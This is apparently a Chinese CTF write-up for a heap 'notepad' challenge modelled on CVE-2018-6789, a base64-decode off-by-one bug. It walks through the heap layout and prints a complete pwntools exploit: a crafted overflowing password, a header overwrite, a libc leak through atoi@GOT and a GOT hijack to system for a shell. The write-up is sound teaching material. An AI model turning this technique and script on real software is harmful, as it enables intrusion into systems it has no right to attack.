• Home
  • About
    • le3d1ng photo

      le3d1ng

      wake up u need #...

    • Learn More
    • Twitter
    • Facebook
    • Instagram
    • Tumblr
    • Github
    • Steam
  • Posts
    • All Posts
    • All Tags
  • Links

2019.04.07 writeup of a CTF challenge based on CVE-2018-6789

06 Apr 2019

Reading time ~2 minutes

CVE-2018-6789之off-by-one notepad writeup

去年省赛的题,当时没做出来,现在看看。

提示说CVE-2018-6789,看了一下是b64decode造成的off-by-one.

解码base64的逻辑是把4个字节当做一组,4个字节解码成3个字节。

但是如果传入的密文长度为4n + 3 字节,则函数会将最后三个字节解码为两个字节,最终明文长度为3n+2个字节,而分配的堆空间的大小为3n+1。就会发生off-by-one了。

首先想一下off-by-one利用的套路,基本要借助chunk的pre_size位置,这样能溢出到chunk的size位,从而实现extend chunk。构造堆块的时候要注意大小。

现在看题。

checksec:

5ca8d64c7e6c4

5ca8d7d5cb75c

主要有4个功能。

添加note,会malloc一个0x20大小的note header。同时有一个全局ptr保存note header的地址。

需要输入note的名字(最长为0x10bytes),密码,内容长度,及内容。读入的内容以\x00结尾,不可以泄露libc。

输入note的密码后会经过b64decode,将解码后的明文储存在程序自建的堆中(where off-by-one happens)。

note header中存着note名字,密码的指针,内容的指针。

5ca8d9ae7264f

5ca8d9c4b2b4b

展示note,通过ptr,展示note内容指针指向的内容。但是要通过密码检查。

5ca8d9dd4f961

编辑note,使用realloc重新确定contents大小。同样需要先通过密码检查。

5ca8da2f5cd47

删除,free对应指针,设置对应ptr为null

5ca8da472b2db

基本思路是构造堆块,让noteA的内容堆块在noteB的note header上方。

同时让noteC的密码堆块在noteA内容堆块的上方,通过off-by-one,将noteA的内容堆块size改大,写noteA的内容,让它覆盖到noteB的note header。(当然noteC和noteB可以是同一个note。)

这样noteB header中的所有指针可控。

任意读,读got表泄露libc。

任意写,写got表拿shell。

先找一个合适的恶意密码。

5ca8dc4fdf9f4

“A”*0x88 + ‘1’ 经过base64加密后结尾为一个padding。

删除结尾的padding后长度为183,符合len(pwd) = 4n+3,可以导致off-by-one覆盖为\x31。

可以使用

("A"*0x88+'1').encode("base64").replace("\n","")[:-1]

作为恶意密码。

同时note header本身的大小就为0x30。

因此可以在noteB header上方放置一个0x100大小的noteA content,改写后为0x130,恰好可以覆盖完noteB header。

如下图,改写content时有一个大小比较,如果输入的大小比content size小,就直接读取输入。

5ca8e1e727109


怎样进行布局呢?

可以先add一个比content size较大的noteA,再接着add两个content size较小的noteB noteC.

之后删除noteA,让它的大块content释放。

之后addnoteA,分配较小的content。

然后editnoteB,重新分配content size。

editnoteC,重新分配content size。

计算好,让重新分配的三块size之和恰好为最开始noteA 的content size,之前释放的区域又重新占满,且noteC content下方为noteB的header。

因此我们要溢出noteC content的size,就需要让恶意密码存到noteB content的位置。

所以要delete掉noteB,重新分配noteB,让b64decode函数中的malloc先占用之前noteB content的位置。(因为是先设置密码的。)这就要求noteB content的size要与恶意密码的size相同。

这样所有note content的大小都能确定下来了。

添加一个大note,两个小note:

5ca8e35d98261

删除大note,重新分配三个note的content位置:

5ca8e3cd08dd1

del noteB,使用恶意密码add noteB,溢出noteC的size为0x131:

5ca8e44156a3b

通过edit noteC的内容溢出到noteB header,改写noteB header实现任意地址读写:

这里注意一下,同时也把noteB 的密码指针改掉了,改成了一个.rodata上的字符串。接下来查看noteB内容需要输入密码,只需输入对应字符串base64加密后的密文即可。

5ca8e4f02e59e

接下来泄露libc,改写got表一气呵成。

exploit:

#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年04月06日 星期六 19时35分57秒
# File Name: exp2.py
# Description:
"""
from pwn import *

io = process('./notepad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'info'
context.terminal = ['terminator' , '-x' , 'sh' , '-c']

def debug():
	gdb.attach(io)
	io.interactive()
def addnote(name,password,size,content):
	io.sendlineafter('choice> ','1')
	io.sendafter('name> ',name)
	io.sendlineafter('no)> ','1')
	io.sendlineafter('word> ',password)
	io.sendlineafter('size> ',str(size))
	io.sendlineafter('content> ',content)

def shownote(name,passwd):
	io.sendlineafter('choice> ','2')
	io.sendafter('name> ',name)
	io.sendlineafter('word> ',passwd)
def editnote(name,passwd,size,content):
	io.sendlineafter('choice> ','3')
	io.sendafter('name> ',name)
	io.sendlineafter('word> ',passwd)
	io.sendlineafter('no)> ','0')
	io.sendlineafter('size> ',str(size))
	io.sendlineafter('content> ',content)
def delnote(name,passwd):
	io.sendlineafter('choice> ','4')
	io.sendafter('name> ',name)
	io.sendlineafter('password> ',passwd)


success("Initing!")
passwd = "le3d1ng".encode("base64") + "\x00"
#addnote('0'*0x10,passwd,0x20,'0')
addnote('1'*0x10,passwd,0x1c0,'1')
addnote('2'*0x10,passwd,0x20,'2')
addnote('3'*0x10,passwd,0x20,'3')
#addnote('4'*0x10,passwd,0x20-1,'4')
#debug()


success("Resizing chunks!")
delnote('1'*0x10,passwd)
addnote('1'*0x10,passwd,0x30,'aaaaaaa')
editnote('2'*0x10, passwd, 0x88-1, "b"*0x10) # -1 to use next chunk's pre_size as content
editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)
delnote("2"*0x10, passwd)

#debug()


#off-by-one
success("Performing off-by-one attack...")
evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00" # eval password off-by-one 0x31
addnote("2"*0x10, evilpd, 0x20-1, "padding") 
#debug()




success("Overwriting noteB header!")
atoi_got = 0x602090
pwd2addr = 0x4019E6 #name exist\x00
payload = ""
payload += "A"*0xf0
payload += p64(0x100)
payload += p64(0x31)
payload += '2'*0x10
payload += p64(pwd2addr) # new passwd
payload += p64(atoi_got) # overwrite note2's content ptr to atoi_got
payload += p64(0x000000100001000)

editnote("3"*0x10,passwd,0x128-1,payload)

#debug()



success("Leaking libc...")
newpd = "name exist\x00".encode("base64")
shownote("2"*0x10,newpd) # now show note2 will leak atoi address
atoiaddr = u64(io.recv(6).ljust(8,'\x00'))
success("atoi addr : "+hex(atoiaddr))
libcbase = atoiaddr - libc.symbols['atoi']
sysaddr = libcbase + libc.symbols['system']
success("libcbase : "+hex(libcbase))
success("system addr : "+hex(sysaddr))

success("Hijacking atoi@got to system...")
payload = p64(sysaddr) # write to note2's content will now edit atoi_got.
editnote("2"*0x10,newpd,0x10,payload)

success("Got shell!")

io.interactive()

总结

off-by-one漏洞利用的难度还是在于堆结构的布局。



writeuppwnheapoff-by-onecve Share Tweet +1